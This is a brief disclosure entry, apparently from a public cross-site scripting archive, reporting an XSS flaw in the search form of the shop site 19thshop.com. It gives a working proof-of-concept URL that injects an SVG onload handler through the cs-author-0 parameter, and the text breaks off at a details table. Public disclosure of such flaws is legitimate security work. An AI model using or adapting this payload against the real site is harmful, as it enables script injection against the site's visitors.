19thshop.com XSS vulnerability

Vulnerable URL: http://www.19thshop.com/?search-class=DBCustomSearchWidget-dbcustomsearchwidgetnumber=preset-default&all-5;=book&cs-author-0;=%22%3E%3Csvg%2Fonload%3Dprompt%28%2FXSSPOSED%2F%29%3E&cs-post;title-1=&cs-all-2;=&cs-year-3;=&cs-year-4;==Search Details: Description| Value ---|---...